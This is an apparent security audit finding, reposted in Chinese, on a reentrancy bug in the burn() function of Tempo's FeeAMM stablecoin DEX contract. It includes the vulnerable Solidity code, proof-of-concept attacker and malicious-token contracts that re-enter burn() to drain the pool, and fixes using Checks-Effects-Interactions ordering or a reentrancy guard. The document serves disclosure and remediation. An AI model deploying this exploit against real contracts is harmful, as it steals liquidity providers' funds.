`[H-01] burn 函数重入漏洞导致稳定币资金池耗尽`

  • openai
  • 发布于 2026-02-19 11:27
  • 阅读 12

本文揭示了Tempo的FeeAMM稳定币DEX合约中burn()函数存在严重重入漏洞。由于代币转账发生在状态更新之前,恶意代币可利用回调机制多次重入该函数,耗尽流动性池,导致DEX破产。

[H-01] burn 中的重入漏洞允许稳定币池被耗尽

由安全研究员提交

总结

FeeAMM.sol 合约是 Tempo 的 Machine Payments Protocol (MPP) 使用的稳定币 DEX,其 burn() 函数中存在一个关键的重入漏洞。代币转账在内部状态更新之前执行,这允许带有转移回调的恶意 TIP-20 代币重入并耗尽整个流动性池。

漏洞细节

burn() 函数中,操作顺序违反了 Checks-Effects-Interactions (CEI) 模式。外部代币转账发生在合约更新其内部状态之前:

function burn(address userToken, address validatorToken, uint256 liquidity, address to)
    external
    returns (uint256 amountUserToken, uint256 amountValidatorToken)
{
    // ... 验证和数量计算 ...

    (amountUserToken, amountValidatorToken) = _calculateBurnAmounts(pool, poolId, liquidity);

    _requireU128(amountUserToken);
    _requireU128(amountValidatorToken);

    // 漏洞所在:在状态更新**之前**转移代币
    IERC20(userToken).transfer(to, amountUserToken);
    IERC20(validatorToken).transfer(to, amountValidatorToken);

    // 在外部调用**之后**更新状态 - 重入窗口!
    liquidityBalances[poolId][msg.sender] -= liquidity;
    totalSupply[poolId] -= liquidity;
    pool.reserveUserToken -= uint128(amountUserToken);
    pool.reserveValidatorToken -= uint128(amountValidatorToken);

    // ...
}

当调用 userToken.transfer() 时,如果代币具有回调机制(例如 ERC-777 hook 或恶意实现),攻击者可以在状态变量 (liquidityBalances, totalSupply, reserveUserToken, reserveValidatorToken) 更新之前重入 burn()

由于流动性余额尚未减少,_calculateBurnAmounts() 将在每次递归调用时计算相同的输出数量,从而允许攻击者多次提取代币。

影响

对 Tempo 基础设施的严重影响:

  1. 完全耗尽流动性池:攻击者可以部署一个恶意的 TIP-20 代币,提供最少的流动性,并通过递归调用 burn() 来耗尽整个池。

  2. 稳定币 DEX 破产:合法的流动性提供者将损失其存入的 TIP-20 USD 稳定币,且无法追索。

概念验证

攻击需要一个拥有 LP 代币的攻击者合约。恶意代币在转移期间通知攻击者合约,攻击者合约重入 burn()。这确保了重入调用中的 msg.sender 是 LP 持有者。

interface IReentrancyCallback {
    function onTokensReceived(uint256 amount) external;
}

// 在转移时通知接收者的恶意 TIP-20 代币
contract MaliciousTIP20 is ERC20 {
    FeeAMM public target;
    address public validatorToken;
    uint256 public reentrancyCount;
    bool public armed;

    function transfer(address to, uint256 amount) public override returns (bool) {
        super.transfer(to, amount);

        // 当 FeeAMM 在 burn() 期间转移给接收者时,通知他们
        if (armed && msg.sender == address(target) && reentrancyCount < 5) {
            reentrancyCount++;
            // 回调到接收者(攻击者合约),该合约将重入
            try IReentrancyCallback(to).onTokensReceived(amount) {} catch {}
        }
        return true;
    }
}

// 拥有 LP 代币并重入 burn() 的攻击者合约
contract ReentrancyAttacker {
    FeeAMM public feeAmm;
    MaliciousTIP20 public maliciousToken;
    address public validatorToken;
    uint256 public burnAmount;
    bool public attacking;

    function attack(uint256 _burnAmount) external {
        burnAmount = _burnAmount;
        attacking = true;
        // 启动 burn - 将触发重入链
        feeAmm.burn(address(maliciousToken), validatorToken, burnAmount, address(this));
        attacking = false;
    }

    function onTokensReceived(uint256) external {
        if (!attacking) return;

        bytes32 poolId = feeAmm.getPoolId(address(maliciousToken), validatorToken);
        uint256 liquidity = feeAmm.liquidityBalances(poolId, address(this));

        // 状态尚未更新 - msg.sender 是此合约 (LP 持有者)
        if (liquidity >= burnAmount) {
            feeAmm.burn(address(maliciousToken), validatorToken, burnAmount, address(this));
        }
    }
}

function testReentrancyBurnDrain() public {
    // 1. 部署攻击者合约和恶意代币
    // 2. 攻击者合约提供流动性(获取 LP 代币)
    // 3. 为重入准备恶意代币
    // 4. 攻击者合约调用 burn() - 触发递归耗尽

    maliciousToken.arm(feeAmm, validatorToken, 5);
    attackerContract.attack(burnAmount);

    // 攻击者收到约 6 倍于其应得的份额(初始 + 5 次重入调用)
    // 资金池被大量耗尽
}

代码位置

建议

通过在外部调用之前更新状态来应用 Checks-Effects-Interactions (CEI) 模式:

function burn(address userToken, address validatorToken, uint256 liquidity, address to)
    external
    returns (uint256 amountUserToken, uint256 amountValidatorToken)
{
    // ... 验证 ...

    (amountUserToken, amountValidatorToken) = _calculateBurnAmounts(pool, poolId, liquidity);

    _requireU128(amountUserToken);
    _requireU128(amountValidatorToken);

    // **已修复**:在外部调用**之前**更新状态
    liquidityBalances[poolId][msg.sender] -= liquidity;
    totalSupply[poolId] -= liquidity;
    pool.reserveUserToken -= uint128(amountUserToken);
    pool.reserveValidatorToken -= uint128(amountValidatorToken);

    // 在状态更新**之后**转移代币
    IERC20(userToken).transfer(to, amountUserToken);
    IERC20(validatorToken).transfer(to, amountValidatorToken);

    emit Burn(...);
}

或者,添加一个 reentrancy guard:

import "@openzeppelin/contracts/security/ReentrancyGuard.sol";

contract FeeAMM is ReentrancyGuard {
    function burn(...) external nonReentrant returns (...) {
        // ...
    }
}

参考资料

  • 原文链接: github.com/openai/fronti...
  • 登链社区 AI 助手,为大家转译优秀英文文章,如有翻译不通的地方,还请包涵~
点赞 0
收藏 0
分享
本文参与登链社区写作激励计划 ,好文好收益,欢迎正在阅读的你也加入。

0 条评论

请先 登录 后评论
openai
openai
江湖只有他的大名,没有他的介绍。